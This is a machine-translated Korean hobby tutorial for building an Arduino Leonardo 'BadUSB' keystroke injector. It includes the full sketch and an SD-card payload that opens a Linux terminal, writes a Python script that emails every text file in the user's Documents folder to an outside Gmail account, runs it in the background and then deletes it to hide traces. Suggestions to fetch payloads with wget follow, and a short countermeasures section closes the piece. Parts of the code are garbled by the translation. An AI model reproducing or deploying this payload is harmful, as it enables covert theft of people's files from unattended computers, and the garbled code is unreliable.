산업 제조
산업용 사물 인터넷 | 산업자재 | 장비 유지 보수 및 수리 | 산업 프로그래밍 |
home  MfgRobots >> 산업 제조 >  >> Manufacturing Technology >> 제조공정

Arduino 키보드 악용 데모(HID) 및 예방

구성품 및 소모품

Arduino Leonardo
× 1
Sd 카드 리더기
× 1
Sd 카드
× 1
푸시버튼 3핀(저항 포함)
× 1
점퍼 와이어(일반)
× 1
USB-A-마이크로 USB 케이블
× 1

이 프로젝트 정보

이 프로젝트에서는 Arduino Leonardo를 사용하여 HID(인간 인터페이스 장치)를 사용하여 가능한 USB 공격을 시뮬레이션할 것입니다.

나는 해커를 돕기 위해 이 튜토리얼을 만든 것이 아니라 실제 위험과 그러한 위험으로부터 자신을 보호하는 방법을 보여주기 위해 만들었습니다. 이 장치는 해커를 위한 모든 플랫폼에서 사용할 수 있는 장치가 아니라 더 자세한 개념 증명입니다.

다음을 배울 것입니다.

<울>
  • arduino leonardo를 사용하여 키보드를 에뮬레이트하는 방법
  • SD 카드에서 데이터를 읽는 방법
  • 파일을 스캔하고 이메일로 보내는 python 스크립트를 만드는 방법
  • USB 해킹 기기로부터 자신을 보호하는 방법
  • 1단계:자료

    부품:

    1. Arduino 레오나르도

    2. 마이크로 USB 카드 리더기

    3. 몇 GB SD 카드

    4. 와 같은 푸시버튼 이하나(VCC, 접지 및 신호)

    5. 암-수 및 암-암 점퍼 케이블

    6. 마이크로 USB-USB 케이블

    2단계:기기 구축

    조립 지침 전에 작동 원리를 검토해 보겠습니다.

    Arduino leonardo는 HID(휴먼 인터페이스 장치)처럼 작동할 수 있으므로 마우스와 키보드를 에뮬레이트할 수 있습니다. 이 기능을 사용하여 터미널(UBUNTU Linux에서)을 열고 사용자 홈 폴더 copy.txt 파일 내부의 /Documents 폴더에 액세스하여 다른 사람에게 이메일로 보내는 작은 스크립트를 작성할 것입니다. 자세한 내용을 확인하려면 다음 단계를 확인하세요.

    데모 장치이기 때문에 작업이 정말 간단하기 때문에 아무 것도 납땜하지 않을 것입니다.

    조립 지침

    시작하기 전에 첨부된 파일을 확인하고 fritzing 도식과 필요한 모든 파일을 첨부했습니다.

    1. 구성요소 조립:

    * arduino에 마이크로 USB 케이블을 연결합니다.

    * 키 스위치를 arduino에 연결합니다(접지, vcc 및 출력 모듈을 D8에 연결)

    * 카드 리더기를 arduino에 연결합니다(ICSP 헤더 사용). Arduino leonardo에는 ICSP 헤더가 디지털 핀에 연결되어 있지 않으므로 카드 리더를 ICSP 헤더에 연결해야 합니다. ICSP의 일부 도면은 https://learn.sparkfun.com/tutorials/installing-an....에서 찾을 수 있습니다. SS 핀을 디지털 핀 10에 연결합니다.

    2. arduino 코드 받기 , github:https://github.com/danionescu0/arduino에서 내 arduino 저장소를 복제하고 projects/keyboard_exploit로 이동하거나 아래에서 가져올 수 있습니다.

    #include "Keyboard.h#include "SPI.h#include "SD.h"String filenameOnCard ="hack.txt";String sleepCommandStartingPoint ="Sleep::";String commandStartingPoint ="명령 ::";int delayBetweenCommands =10;const int buttonPin =8; const int chipSelect =10; int 이전 버튼 상태 =높음; 무효 설정() { 핀모드(버튼핀, 입력); Serial.begin(9600); Keyboard.begin(); if (!SD.begin(chipSelect)) { Serial.println("카드가 실패했거나 존재하지 않습니다!"); 반품; }} 무효 루프() { int buttonState =digitalRead(buttonPin); if ((버튼 상태 !=이전 버튼 상태) &&(버튼 상태 ==높음)) { sdFileToKeyboard(); Serial.println("업로드했습니다!"); 지연(500); } 이전 버튼 상태 =버튼 상태;} 무효 sdFileToKeyboard() { 파일 dataFile =SD.open(filenameOnCard); if (!dataFile) { Serial.println("지정된 파일 이름이 SD 카드에 없습니다. filenameOnCard를 확인하십시오!"); } 문자열 라인; 동안 (dataFile.available()) { 줄 =dataFile.readStringUntil('\n'); Serial.println(줄); sendToKeyboard(줄); } dataFile.close();} 무효 sendToKeyboard(문자열 라인) { 문자열 workingLine =라인; if (workingLine.indexOf(sleepCommandStartingPoint) !=-1) { sleepFor(줄); 반품; } if (workingLine.indexOf(commandStartingPoint) ==-1) { Serial.print("텍스트:");Serial.println(줄); Keyboard.println(줄); 엔터 키를 치시오(); 반품; } Serial.println("명령어:"); int charPosition =commandStartingPoint.length(); int lineLength =line.length(); 작업 라인 +=","; 동안 (workingLine !="") { workingLine =workingLine.substring(charPosition); Serial.print("작업라인:");Serial.println(작업라인); int specialCommandDelimiterPosition =workingLine.indexOf(","); 문자열 명령 =workingLine.substring(0, specialCommandDelimiterPosition); charPosition =특수 명령 구분자 위치 + 1; if (명령 !="") { Serial.print("명령을 찾았습니다:");Serial.println(명령); Keyboard.press(getCommandCode(명령)); 지연(delayBetweenCommands); } } Keyboard.releaseAll(); 지연(delayBetweenCommands);}무효 pressEnter() { Keyboard.press(KEY_RETURN); Keyboard.releaseAll();} 무효 sleepFor(문자열 줄) { int sleepAmount =line.substring(sleepCommandStartingPoint.length(), line.length()).toInt(); Serial.print("잠자는 시간:");Serial.println(sleepAmount); 지연(sleepAmount);} char getCommandCode(문자열 텍스트) { char textCharacters[2]; text.toCharArray(textCharacters, 2); 문자 코드 =textCharacters[0]; 코드 =(텍스트 =="KEY_LEFT_CTRL") ? KEY_LEFT_CTRL :코드; 코드 =(텍스트 =="KEY_LEFT_SHIFT") ? KEY_LEFT_SHIFT :코드; 코드 =(텍스트 =="KEY_LEFT_ALT") ? KEY_LEFT_ALT :코드; 코드 =(텍스트 =="KEY_UP_ARROW") ? KEY_UP_ARROW :코드; 코드 =(텍스트 =="KEY_DOWN_ARROW") ? KEY_DOWN_ARROW :코드; 코드 =(텍스트 =="KEY_LEFT_ARROW") ? KEY_LEFT_ARROW :코드; 코드 =(텍스트 =="KEY_RIGHT_ARROW") ? KEY_RIGHT_ARROW :코드; 코드 =(텍스트 =="KEY_RIGHT_GUI") ? KEY_RIGHT_GUI :코드; 코드 =(텍스트 =="KEY_BACKSPACE") ? KEY_BACKSPACE :코드; 코드 =(텍스트 =="KEY_TAB") ? KEY_TAB :코드; 코드 =(텍스트 =="KEY_RETURN") ? KEY_RETURN :코드; 코드 =(텍스트 =="KEY_ESC") ? KEY_ESC :코드; 코드 =(텍스트 =="KEY_INSERT") ? KEY_INSERT :코드; 코드 =(텍스트 =="KEY_DELETE") ? KEY_DELETE :코드; 코드 =(텍스트 =="KEY_PAGE_UP") ? KEY_PAGE_UP :코드; 코드 =(텍스트 =="KEY_PAGE_DOWN") ? KEY_PAGE_DOWN :코드; 코드 =(텍스트 =="KEY_HOME") ? KEY_HOME :코드; 코드 =(텍스트 =="KEY_END") ? KEY_END :코드; 코드 =(텍스트 =="KEY_CAPS_LOCK") ? KEY_CAPS_LOCK :코드; 코드 =(텍스트 =="KEY_F1") ? KEY_F1 :코드; 코드 =(텍스트 =="KEY_F2") ? KEY_F2 :코드; 코드 =(텍스트 =="KEY_F3") ? KEY_F3 :코드; 코드 =(텍스트 =="KEY_F4") ? KEY_F4 :코드; 코드 =(텍스트 =="KEY_F5") ? KEY_F5 :코드; 코드 =(텍스트 =="KEY_F6") ? KEY_F6 :코드; 코드 =(텍스트 =="KEY_F7") ? KEY_F7 :코드; 코드 =(텍스트 =="KEY_F8") ? KEY_F8 :코드; 코드 =(텍스트 =="KEY_F9") ? KEY_F9 :코드; 코드 =(텍스트 =="KEY_F10") ? KEY_F10 :코드; 코드 =(텍스트 =="KEY_F11") ? KEY_F1 :코드; 코드 =(텍스트 =="KEY_F12") ? KEY_F2 :코드;

    반환 코드;}

    3. 코드를 arduino에 업로드하고 9600 전송 속도, 직렬 포트 및 arduino leonardo를 선택해야 합니다.

    4. FAT16 또는 FAT32를 사용하여 sd 카드 포맷

    5. 위에서 github 저장소를 복제한 경우 복사 카드의 hack.txt 파일(없는 경우 파일이 아래에 나열됨):

    Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,tSleep::500vi hack.pySleep::300Command::KEY_INSERTimport smtplibimport glob, osfrom os.path import expanduserfrom email.MIMEMultipart import MIMEMultipartfrom email.MIMEBase import.MIMEText import MIME email.Utils import COMMASPACE, formatdatefrom email import Encoderssmtp_user ='sender_gmail_address'smtp_pass ='sender_gmail_password'to_address ='receiver_address'scan_documents_location ='Documents'subject =body ='해킹된 컴퓨터의 파일\nTo':{0}헤더 ={1}\n제목:{2}\n'.format(받는 사람 주소, smtp_user, 제목)def sendMail(받는 사람, 제목, 텍스트, 파일=[]):msg =MIMEMultipart() msg['보낸사람'] =smtp_user msg ['To'] =COMMASPACE.join(to) msg['Date'] =formatdate(localtime=True) msg['Subject'] =파일의 파일에 대한 주제 msg.attach(MIMEText(text)):부분 =MIMEBase ('응용 프로그램', "옥텟 스트림") part.set_payload(open(file,"rb").read()) Encoders.encode_base64(part) part.add_header('콘텐츠 처리', '부착; filename="%s"' % os.path.basename(파일)) msg.attach(part) 서버 =smtplib.SMTP('smtp.gmail.com:587') server.starttls() server.login(smtp_user, smtp_pass) server.sendmail(smtp_user, to, msg.as_string()) server.quit()sendMail([to_address], 제목, 본문, glob.glob("{0}/{1}/*.txt".format) (expanduser("~"), scan_documents_location)))Sleep::50Command::KEY_ESCSleep::100:xSleep::500nohup python hack.py &Sleep::700rm -rf hack.pySleep::400Command::KEY_F4 

    6. 다음 줄을 수정하세요.

    smtp_user ='sender_email_addr'smtp_pass ='sender_password'to_address ='receiver_address' 

    이메일 주소로 교체

    7. 카드를 제거하고 arduino 카드 리더에 삽입

    스케치.fzz keyboard_exploit.ino hack.txt hack.py

    3단계:자세한 작동 원리

    공격 방식:

    1. 버튼을 누르면 레오나르도가 sd 카드 리더기를 사용하여 sd 카드를 읽습니다. 키와 키 조합이 포함된 특수 파일이 카드에 표시됩니다. 파일명은 "hack.txt"입니다.

    파일에는 원시 텍스트가 포함될 수 있으며 그대로 키보드에 전달됩니다.

    또한 "Sleep::" 및 "Command::"와 같은 특수 명령을 포함할 수 있습니다.

    다음과 같은 줄:

    절전::200은 200ms의 절전을 의미합니다.

    다음과 같은 줄:

    Command::KEY_LEFT_CTRL, KEY_LEFT_ALT, t는 왼쪽 ctrl을 누르고, 왼쪽 alt를 누르고, t를 누른 후 모두 해제됨을 의미합니다.

    여기에서 모든 특수 키를 확인할 수 있습니다. https://www.arduino.cc/en/Reference/KeyboardModif...

    2. Leonardo는 한 줄씩 읽고 명령을 해석하고 키보드의 키를 에뮬레이트합니다. "hack.txt" 파일에는 다음을 수행하는 키 조합이 포함되어 있습니다(UBUNTU Linux의 경우):

    ㅏ. 터미널을 엽니다(CTRL + ALT + T)

    비. vi를 사용하여 생성하기 위해 파이썬 파일을 엽니다("vi hack.py"를 작성합니다.

    씨. 문서 홈 폴더 내의 모든 텍스트 파일을 수집하고 지정된 Gmail 주소로 보내는 python 스크립트를 작성합니다.

    디. 백그라운드에서 파일 실행("nohup python hack.py &")

    이자형. 파일 삭제(rm -rf hack.py)

    에프. 터미널을 닫습니다(ALT + F4)

    이 모든 작업은 몇 초 안에 실행되며 흔적을 남기지 않습니다.

    개선 사항 및 문제 해결

    * 터미널을 연 후 파이썬 파일을 작성하고 있음을 알 수 있습니다. 더 나은 방법은 어딘가에 호스팅하고 "wget ​​some_url" 명령을 사용하여 다운로드한 다음 hack.py로 이름을 바꾸는 것입니다.

    * 또한 대상 운영 체제에 대한 준비된 익스플로잇을 다운로드하거나 실행할 수 있습니다.

    * 모듈에 wifi를 추가할 수 있으며 WIFI를 통해 핵을 업로드할 수 있습니다.

    * arduino micro(훨씬 더 작음)를 사용하고 익스플로잇 코드를 포함할 수 있습니다(작게 만들기 위해)

    제한 사항

    1. 시뮬레이션된 장치(키보드 및 마우스)에는 피드백이 없기 때문에 지연을 사용해야 함을 의미하는 명령을 실행한 후 어떤 일이 일어날지 모릅니다. 예를 들어 터미널을 여는 명령을 실행하고 있지만 실제로 언제 열릴지 모르기 때문에 이후에 입력한 문자가 손실되지 않도록 임의의 지연을 지정해야 합니다.

    2. USB 포트에 대한 액세스 권한이 없거나 무언가를 설치할 수 있는 권한이 없는 것과 같은 권한 문제가 발생할 수 있습니다.

    3. 레오나르도의 타자 속도는 그다지 좋지 않습니다.

    4. 대상 운영 체제에서만 작동합니다(이 경우 UBUNTU linux)

    다음 단계에서는 컴퓨터가 해킹되는 것을 방지하기 위해 이 제한 사항을 악용하는 방법을 찾으려고 노력할 것입니다.

    4단계:대책

    1. USB 포트 비활성화

    - 윈도우의 경우 이 튜토리얼을 확인할 수 있습니다:http://www.thewindowsclub.com/disable-enable-usb-w...

    2. USB 장치 허용 목록:

    - 윈도우용:https://superuser.com/questions/1152012/block-unbl...

    2. 자리를 비울 때 컴퓨터를 잠급니다.

    3. 루트로 로그인하지 마십시오(설치 시 비밀번호 필요)

    4. 자신을 최신 상태로 유지(자동 업데이트 켜짐)

    <섹션 클래스="섹션 컨테이너 섹션 축소 가능" id="코드">

    코드

    <울>
  • keyboard_exploit.ino
  • 코드 스니펫 #1
  • 코드 스니펫 #2
  • keyboard_exploit.ino아두이노
    파일을 여는 동안 오류가 발생했습니다.
    코드 스니펫 #1일반 텍스트
    #include "Keyboard.h#include "SPI.h#include "SD.h"String filenameOnCard ="hack.txt";String sleepCommandStartingPoint ="Sleep::";String commandStartingPoint ="Command::";int delayBetweenCommands =10; const int buttonPin =8; const int chipSelect =10; int 이전 버튼 상태 =높음; 무효 설정() { 핀모드(버튼핀, 입력); Serial.begin(9600); Keyboard.begin(); if (!SD.begin(chipSelect)) { Serial.println("카드가 실패했거나 존재하지 않습니다!"); 반품; }} 무효 루프() { int buttonState =digitalRead(buttonPin); if ((버튼 상태 !=이전 버튼 상태) &&(버튼 상태 ==높음)) { sdFileToKeyboard(); Serial.println("업로드했습니다!"); 지연(500); } 이전 버튼 상태 =버튼 상태;} 무효 sdFileToKeyboard() { 파일 dataFile =SD.open(filenameOnCard); if (!dataFile) { Serial.println("지정된 파일 이름이 SD 카드에 없습니다. filenameOnCard를 확인하십시오!"); } 문자열 라인; 동안 (dataFile.available()) { 줄 =dataFile.readStringUntil('\n'); Serial.println(줄); sendToKeyboard(줄); } dataFile.close();} 무효 sendToKeyboard(문자열 라인) { 문자열 workingLine =라인; if (workingLine.indexOf(sleepCommandStartingPoint) !=-1) { sleepFor(줄); 반품; } if (workingLine.indexOf(commandStartingPoint) ==-1) { Serial.print("텍스트:");Serial.println(줄); Keyboard.println(줄); 엔터 키를 치시오(); 반품; } Serial.println("명령어:"); int charPosition =commandStartingPoint.length(); int lineLength =line.length(); 작업 라인 +=","; 동안 (workingLine !="") { workingLine =workingLine.substring(charPosition); Serial.print("작업라인:");Serial.println(작업라인); int specialCommandDelimiterPosition =workingLine.indexOf(","); 문자열 명령 =workingLine.substring(0, specialCommandDelimiterPosition); charPosition =특수 명령 구분자 위치 + 1; if (명령 !="") { Serial.print("명령을 찾았습니다:");Serial.println(명령); Keyboard.press(getCommandCode(명령)); 지연(delayBetweenCommands); } } Keyboard.releaseAll(); 지연(delayBetweenCommands);}무효 pressEnter() { Keyboard.press(KEY_RETURN); Keyboard.releaseAll();} 무효 sleepFor(문자열 줄) { int sleepAmount =line.substring(sleepCommandStartingPoint.length(), line.length()).toInt(); Serial.print("잠자는 시간:");Serial.println(sleepAmount); 지연(sleepAmount);} char getCommandCode(문자열 텍스트) { char textCharacters[2]; text.toCharArray(textCharacters, 2); 문자 코드 =textCharacters[0]; 코드 =(텍스트 =="KEY_LEFT_CTRL") ? KEY_LEFT_CTRL :코드; 코드 =(텍스트 =="KEY_LEFT_SHIFT") ? KEY_LEFT_SHIFT :코드; 코드 =(텍스트 =="KEY_LEFT_ALT") ? KEY_LEFT_ALT :코드; 코드 =(텍스트 =="KEY_UP_ARROW") ? KEY_UP_ARROW :코드; 코드 =(텍스트 =="KEY_DOWN_ARROW") ? KEY_DOWN_ARROW :코드; 코드 =(텍스트 =="KEY_LEFT_ARROW") ? KEY_LEFT_ARROW :코드; 코드 =(텍스트 =="KEY_RIGHT_ARROW") ? KEY_RIGHT_ARROW :코드; 코드 =(텍스트 =="KEY_RIGHT_GUI") ? KEY_RIGHT_GUI :코드; 코드 =(텍스트 =="KEY_BACKSPACE") ? KEY_BACKSPACE :코드; 코드 =(텍스트 =="KEY_TAB") ? KEY_TAB :코드; 코드 =(텍스트 =="KEY_RETURN") ? KEY_RETURN :코드; 코드 =(텍스트 =="KEY_ESC") ? KEY_ESC :코드; 코드 =(텍스트 =="KEY_INSERT") ? KEY_INSERT :코드; 코드 =(텍스트 =="KEY_DELETE") ? KEY_DELETE :코드; 코드 =(텍스트 =="KEY_PAGE_UP") ? KEY_PAGE_UP :코드; 코드 =(텍스트 =="KEY_PAGE_DOWN") ? KEY_PAGE_DOWN :코드; 코드 =(텍스트 =="KEY_HOME") ? KEY_HOME :코드; 코드 =(텍스트 =="KEY_END") ? KEY_END :코드; 코드 =(텍스트 =="KEY_CAPS_LOCK") ? KEY_CAPS_LOCK :코드; 코드 =(텍스트 =="KEY_F1") ? KEY_F1 :코드; 코드 =(텍스트 =="KEY_F2") ? KEY_F2 :코드; 코드 =(텍스트 =="KEY_F3") ? KEY_F3 :코드; 코드 =(텍스트 =="KEY_F4") ? KEY_F4 :코드; 코드 =(텍스트 =="KEY_F5") ? KEY_F5 :코드; 코드 =(텍스트 =="KEY_F6") ? KEY_F6 :코드; 코드 =(텍스트 =="KEY_F7") ? KEY_F7 :코드; 코드 =(텍스트 =="KEY_F8") ? KEY_F8 :코드; 코드 =(텍스트 =="KEY_F9") ? KEY_F9 :코드; 코드 =(텍스트 =="KEY_F10") ? KEY_F10 :코드; 코드 =(텍스트 =="KEY_F11") ? KEY_F1 :코드; 코드 =(텍스트 =="KEY_F12") ? KEY_F2 :코드;

    반환 코드;}

    코드 스니펫 #2일반 텍스트
    명령::KEY_LEFT_CTRL,KEY_LEFT_ALT,tSleep::500vi hack.pySleep::300명령::KEY_INSERTimport smtplibimport glob, osfrom os.path import expanduserfrom email.MIMEMultipart import MIMEMultipartfrom email.MIMEText import MIMETexts import MIMETextfrom 이메일 import COMMASPACE, formatdatefrom email import Encoderssmtp_user ='sender_gmail_address'smtp_pass ='sender_gmail_password'to_address ='receiver_address'scan_documents_location ='Documents'subject =본문 ='해킹된 컴퓨터의 파일'\nFrom :{0} \n제목:{2}\n'.format(받는 사람 주소, smtp_user, 제목)def sendMail(받는 사람, 제목, 텍스트, 파일=[]):msg =MIMEMultipart() msg['보낸 사람'] =smtp_user msg['받는 사람 '] =COMMASPACE.join(to) msg['Date'] =formatdate(localtime=True) msg['Subject'] =파일의 파일에 대한 주제 msg.attach(MIMEText(text)):part =MIMEBase('application ', "옥텟 스트림") part.set_payload(open(file,"rb").read()) Encoders.encode_base64(part) part.add_header('콘텐츠 처리', 'attac 흠; filename="%s"' % os.path.basename(파일)) msg.attach(part) 서버 =smtplib.SMTP('smtp.gmail.com:587') server.starttls() server.login(smtp_user, smtp_pass) server.sendmail(smtp_user, to, msg.as_string()) server.quit()sendMail([to_address], 제목, 본문, glob.glob("{0}/{1}/*.txt".format) (expanduser("~"), scan_documents_location)))Sleep::50Command::KEY_ESCSleep::100:xSleep::500nohup python hack.py &Sleep::700rm -rf hack.pySleep::400Command::KEY_F4 
    깃허브
    https://github.com/danionescu0/arduinohttps://github.com/danionescu0/arduino

    회로도

    스케치_D4S1ftXkTU.fzz
    Arduino 저장소
    스케치는 projects/keyboard_exploithttps://github.com/danionescu0/arduino
    안에 있습니다.

    제조공정

    1. LCD 애니메이션 및 게임
    2. Arduino와 스마트폰을 사용한 DIY 전압계
    3. 온도 및 습도 데이터 로거
    4. Arduino + LED + MIDI 키보드 + MuseScore =피아노 교사
    5. Python3 및 Arduino 통신
    6. Arduino 및 OLED 기반 Cellular Automata
    7. Arduino 및 RDA8057M을 사용하는 FM 라디오
    8. Arduino 및 Google 스프레드시트 기반 출석 시스템
    9. Arduino용 64키 프로토타이핑 키보드 매트릭스
    10. Arduino 계산기